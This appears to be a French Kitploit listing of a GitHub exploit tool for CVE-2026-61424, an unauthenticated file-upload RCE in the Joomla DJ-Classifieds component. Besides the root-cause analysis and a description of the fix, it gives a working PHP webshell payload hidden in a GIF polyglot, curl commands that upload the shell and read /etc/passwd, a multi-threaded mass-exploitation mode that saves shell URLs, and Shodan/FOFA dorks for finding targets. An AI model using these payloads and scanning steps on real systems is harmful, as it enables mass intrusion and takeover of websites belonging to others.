Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/shinthink/cve-2026-61424
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionMauvaise ConfigurationRed TeamingOutil d'Accès à Distance
GitHubshinthink/cve-2026-61424

CVE-2026-61424

Composant Joomla DJ-Classifieds — RCE par téléversement de fichier non authentifié. Contournement du filtre à 3 chaînes via les balises courtes PHP. CVSS 10.0 | CWE-434 | com_djclassifieds < 3.11.2

il y a 21 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

Python CVE CVSS License

CVE-2026-61424 — DJ-Classifieds <= 3.11.1

Tâche imageupload → Sans authentification → Contournement du filtre à 3 chaînes (

Vue d'ensemble

Téléversement de fichier arbitraire non authentifié dans DJ-Classifieds pour Joomla. Le point de terminaison de la tâche imageupload traite les téléversements de fichiers sans authentification et repose sur une liste noire de 3 chaînes (<?php, eval(, base64) qui est trivialement contournée à l'aide des balises d'ouverture courtes PHP (<?=). Combiné à un GIF polyglotte, le fichier téléversé passe tous les contrôles de validation d'image tout en contenant un webshell PHP entièrement fonctionnel.


Versions affectées

StatutVersion
Vulnérable1.0 — 3.11.1
Corrigée3.11.2 (20 juillet 2026)

Mécanisme de la vulnérabilité

Cause racine

La méthode upload() dans administrator/components/com_djclassifieds/lib/djupload.php est associée à la tâche imageupload sans vérification d'authentification ni validation de jeton CSRF.

root@kitploit:~
// administrator/components/com_djclassifieds/lib/djupload.php
// imageupload task → upload() method

// MISSING: JFactory::getUser() auth check
// MISSING: JSession::checkToken() CSRF check

$name     = $_REQUEST['name'] ?? $_REQUEST['filename'] ?? '';
$raw_body = file_get_contents('php://input');

// ... writes file to tmp/djupload/<name>

Pourquoi le filtre de sécurité échoue (contournement des 3 chaînes)

Le scanneur de contenu ne bloque que trois chaînes littérales :

root@kitploit:~
// The ONLY malicious-content check in the entire upload handler:
if (preg_match('/<\?php|eval\(|base64/i', $fileContent)) {
    die('Malicious file detected');
}

Cela bloque <?php, eval(, et base64 — mais pas les balises d'ouverture courtes PHP :

root@kitploit:~
<?=system($_GET['c']);?>     ← 0/3 blocked strings → PASSES

Les balises d'écho courtes PHP (<?=) sont activées par défaut depuis PHP 5.4.

Déroulement de l'attaque

  1. Créer un polyglotte : en-tête GIF89a valide + <?=system($_GET['c']);?>
  2. Envoyer en POST vers index.php?option=com_djclassifieds&task=imageupload avec name=shell.gif
  3. Le serveur vérifie : extension .gif ✓ getimagesize() ✓ aucun <?php/eval(/base64 ✓
  4. Le fichier est enregistré dans tmp/djupload/<shell>.gif
  5. Accès : https://target.com/tmp/djupload/shell.gif?c=id

Fichiers sources vérifiés

Preuves issues des journaux serveur

Des sondes de scanneurs anonymes observées dans la nature avant la divulgation :

root@kitploit:~
POST /index.php?option=com_djclassifieds&task=imageupload
  name=<random>.gif  filename=<random>.gif
  — no cookie, no session, no referer

Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-61424.git
cd CVE-2026-61424
pip install -r requirements.txt

Utilisation

Cible unique

root@kitploit:~
python cve_2026_61424.py -t target.com

Exploitation massive

root@kitploit:~
python cve_2026_61424.py -f targets.txt -o shells.txt

Arguments


Preuve de concept

Cible unique

root@kitploit:~
$ python cve_2026_61424.py -t target.com

  Host         : target.com
  DJ-Classifieds: YES v3.11.1
  Upload       : YES
  RCE          : YES
  Shell        : https://target.com/tmp/djupload/img_abc123.gif
  Output       : DJ-SHELL-OK Linux ... uid=33(www-data) gid=33(www-data) ...
  Time         : 2.1s

Exploitation manuelle

root@kitploit:~
# Step 1 — Upload polyglot shell
curl -sk -X POST \
  "https://target.com/index.php?option=com_djclassifieds&task=imageupload&name=shell.gif&filename=shell.gif" \
  -H "Content-Type: image/gif" \
  --data-binary @polyglot.gif

# Step 2 — Verify RCE
curl -sk "https://target.com/tmp/djupload/shell.gif?c=id;hostname;uname+-a"

# Step 3 — Execute arbitrary commands
curl -sk "https://target.com/tmp/djupload/shell.gif?c=cat%20/etc/passwd"

FOFA / Shodan

root@kitploit:~
# DJ-Classifieds component
body="com_djclassifieds"

# Version disclosure (XML manifest)
body="DJ-Classifieds" && body="<version>"

# Exposed djupload directory
body="Index of" && body="djupload"

# Shodan
http.html:"com_djclassifieds" http.component:"Joomla"

Le correctif (3.11.2)

  1. Ajout de l'authentification Joomla — vérification d'invité JFactory::getUser() avant upload()
  2. Ajout de la validation du jeton CSRF — JSession::checkToken() sur la tâche imageupload
  3. Restriction des types de fichiers — liste blanche d'images côté serveur (jpg, jpeg, png, gif)
  4. Amélioration du scan de contenu — détection de motifs PHP supplémentaires au-delà de la liste noire à 3 chaînes

Impact

  • RCE complet — exécution de commandes arbitraires en tant qu'utilisateur du serveur web
  • Accès persistant — le shell reste jusqu'à suppression manuelle ou nettoyage du répertoire
  • Abus de contenu — téléversement et hébergement de fichiers arbitraires sur un domaine de confiance
  • Épuisement du disque — capacité de téléversement massif anonyme
  • Attaques en chaîne — l'image polyglotte peut être incluse via LFI ailleurs sur le site

Avertissement

Cet outil est destiné uniquement à des tests de sécurité éducatifs et autorisés. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation explicite de test. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages.


Références


Non affilié à DJ-Extensions ou mySites.guru.

Télécharger l’outil
ChampDétail
CVECVE-2026-61424
ProduitDJ-Classifieds (extension Joomla de DJ-Extensions)
CVSS 4.010.0 (Critique)
TypeCWE-434 — Téléversement de fichier sans restriction
DécouvertePhil Taylor / mySites.guru — 16 juillet 2026
ExploitationConfirmée dans la nature avant la divulgation
FichierRôle
administrator/components/com_djclassifieds/lib/djupload.phpMéthode upload() — pas d'authentification, filtre à 3 chaînes
components/com_djclassifieds/controller.phpRoute la tâche imageupload vers upload()
administrator/components/com_djclassifieds/djclassifieds.xmlDivulgation de version via la balise <version>
FlagDescriptionDéfaut
-t, --targetHôte cible unique—
-f, --fileFichier contenant les cibles (une par ligne, commentaires #)—
-o, --outputEnregistrer les URLs RCE dans un fichier—
--threadsThreads de travail pour le mode masse30
--no-cleanupNe pas supprimer le shell après le RCEFalse
--debugSortie de débogageFalse
RessourceLien
IONIX Threat Centerionix.io/threat-center/cve-2026-61424
Découverte mySites.gurumysites.guru/blog/dj-classifieds-unauthenticated-file-upload
Publication de sécurité DJ-Extensionsdj-extensions.com/blog/general/dj-classifieds-3-11-2-security-release
Fiche CVE.orgcve.org/CVERecord?id=CVE-2026-61424
INCIBE-CERTincibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2026-61424